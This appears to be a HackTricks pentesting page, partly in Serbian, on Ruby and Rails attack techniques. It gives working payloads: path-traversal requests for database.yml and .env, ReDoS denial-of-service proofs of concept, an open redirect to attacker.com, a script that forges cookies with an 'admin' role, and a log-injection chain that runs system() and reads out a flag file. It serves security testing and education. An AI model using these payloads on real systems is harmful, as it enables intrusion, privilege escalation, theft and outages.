Ruby trikovi

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

File upload to RCE

Kao što je objašnjeno u this article, otpremanje .rb fajla u osetljive direktorijume kao što je config/initializers/ može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.

Saveti:

  • Druge lokacije koje se učitavaju pri pokretanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr. config/initializers/ je klasičan primer). Ako nađete arbitrary file upload koji završi bilo gde pod config/ i kasnije se evaluira/require-uje, možete dobiti RCE pri pokretanju.
  • Tražite dev/staging buildove koji kopiraju fajlove pod kontrolom korisnika u container image gde će ih Rails učitati pri bootu.

Active Storage image transformation → command execution (CVE-2025-24293)

Kada aplikacija koristi Active Storage sa image_processing + mini_magick, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection jer su neke transformacione metode greškom bile dozvoljene po defaultu.

  • Vulnerable pattern izgleda ovako:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

gde su params[:t] i/ili params[:v] pod kontrolom napadača.

  • Šta probati tokom testiranja

  • Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili arbitrary ImageMagick argumente.

  • Fuzzujte params[:t] i params[:v] zbog sumnjivih grešaka ili side-effect-a izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji stižu do MiniMagick, možete dobiti code exec na hostu koji procesira slike.

  • Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration putem pažljivo skrojenih ImageMagick operacija.

  • Remediation/detections

  • Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + image_processing + mini_magick i user-controlled transformacijama, smatrajte to exploitable. Preporučite nadogradnju i primenu strogih allowlists za metode/parametre i ojačanu ImageMagick politiku.

Rack::Static LFI / path traversal (CVE-2025-27610)

Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije rack pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion putem Rack::Static kada :root nije postavljen/je pogrešno konfigurisan. Encodovana traversala u PATH_INFO može izložiti fajlove pod process working directory ili neočekivanim root-om.

  • Tražite aplikacije koje mount-uju Rack::Static u config.ru ili u middleware stackovima. Probajte encodovane traversale protiv statičkih putanja, na primer:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Prilagodite prefix da odgovara konfigurisanom urls:. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka bilo čemu pod razrešenim :root.

  • Mitigation: nadogradite Rack; osigurajte da :root pokazuje samo na direktorijum javnih fajlova i eksplicitno je postavljen.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 i < 2.2.8.1 trošio je super-linearno vreme parsirajući crafted Content-Type: multipart/form-data header-e. Jedan POST sa ogromnom listom A= parametara može zacementirati Puma/Unicorn worker i izazvati DoS ili iscrpljivanje request queue-a.

  • Quick PoC (zacementira jednog workera):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Radi protiv bilo kog Rack-based stacka (Rails/Sinatra/Hanami/Grape). Ako je ispred nginx/haproxy sa keep-alive, ponovite u paraleli da iscrpite workere.
  • Patch-ovano je tako što je parser učinjen linearnim; tražite rack gem verziju < 3.0.9.1 ili < 2.2.8.1. U procenama napomenite da WAF-ovi retko blokiraju ovo jer je header sintaktički validan.

REXML XML parser ReDoS (CVE-2024-49761)

REXML gem < 3.3.9 (Ruby 3.1 i ranije) katastrofalno backtrack-uje prilikom parsiranja hex numeric character references koje sadrže duge nizove cifara (npr. &#1111111111111x41;). Bilo koji XML koji obrađuje REXML ili biblioteke koje ga omotavaju (SOAP/XML API klijenti, SAML, SVG uploadi) može biti zloupotrebljen za iscrpljivanje CPU-a.

Minimalni trigger protiv Rails endpoint-a koji parsira XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:

  • CGI::Cookie.parse je bio super-linearan; ogromni cookie stringovi (hiljade delimitera) pokreću O(N²) ponašanje.
  • CGI::Util#escapeElement regex je omogućavao ReDoS pri HTML escaping-u.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. Žrtva klikne na kreirani Google Sign-In link koji hostuje napadač.
  2. Nakon autentifikacije, gem preusmerava na domenu pod kontrolom napadača, leaking flash notices ili bilo koje podatke sačuvane u cookies scoped to the wildcard domain.
  3. Ako aplikacija čuva short-lived tokens ili magic links u flash-u, ovo se može iskoristiti za account takeover.

During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Napomene:
- Starije aplikacije mogu koristiti AES-256-CBC i salts `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializere. Prilagodite salts, cipher, i serializer u skladu s tim.
- U slučaju kompromitacije/procene, rotirajte `secret_key_base` kako biste poništili sve postojeće kolačiće.

## Vidi takođe (Ruby/Rails-specifične ranjivosti)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Kada aplikacija (često jednostavan Rack/Sinatra/Rails endpoint) istovremeno:
- zapisuje korisnički kontrolisan string doslovno, i
- kasnije izvrši `load` fajla čija je putanja izvedena iz istog stringa (posle `Pathname#cleanpath`),

Često možete postići remote code execution trovanjem loga i potom prisiljavanjem aplikacije da izvrši `load` nad log fajlom. Ključne primitive:

- Ruby `load` evaluira sadržaj ciljane datoteke kao Ruby bez obzira na ekstenziju fajla. Bilo koja čitljiva tekstualna datoteka čiji se sadržaj parsira kao Ruby biće izvršena.
- `Pathname#cleanpath` sažima `.` i `..` segmente bez pristupanja fajl sistemu, omogućavajući path smuggling: napadačem kontrolisani junk može biti prikačen na početak za logovanje dok očišćena putanja i dalje rezolvuje do željene datoteke za izvršenje (npr. `../logs/error.log`).

### Minimalni ranjivi obrazac
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Zašto log može sadržati validan Ruby

Logger piše prefiksne linije poput:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

U Ruby-ju, # označava komentar, a 9/2/2025 je samo aritmetika. Da biste ubacili validan Ruby kod, morate:

  • Počnite vaš payload u novom redu tako da ga # iz INFO linije ne komentariše; pošaljite vodeći newline (\n ili %0A).
  • Zatvorite viseći [ koji je uveden u INFO liniji. Uobičajen trik je početi sa ] i po želji zadovoljiti parser sa ][0]=1.
  • Zatim stavite proizvoljni Ruby (npr. system(...)).

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Jedan string koji istovremeno zapisuje kod u log i pokazuje na putanju log fajla

Želimo jedan string pod kontrolom napadača koji:

  • kada se zabeleži u izvornom obliku, sadrži naš Ruby payload, i
  • kada se prosledi kroz Pathname.new(<input>).cleanpath, rezultira u ../logs/error.log tako da naknadni load izvrši upravo zatrovani log fajl.

Pathname#cleanpath ignoriše sheme i sabija komponente za prelazak direktorijuma, pa sledeće radi:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • # pre :// osigurava da Ruby ignoriše ostatak kada se log izvršava, dok cleanpath i dalje smanjuje sufiks na ../logs/error.log.
  • Vodeći newline izlazi iz INFO linije; ] zatvara viseću zagradu; ][0]=1 zadovoljava parser.

End-to-end exploitation

  1. Pošaljite sledeće kao ime backup skripte (URL-encode prvi newline kao %0A ako je potrebno):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Aplikacija zapisuje vaš sirovi string u logs/error.log.
  2. Aplikacija izračuna cleanpath koji rešava na ../logs/error.log i poziva load na njemu.
  3. Ruby izvršava kod koji ste ubacili u log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (prvi karakter je novi red):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks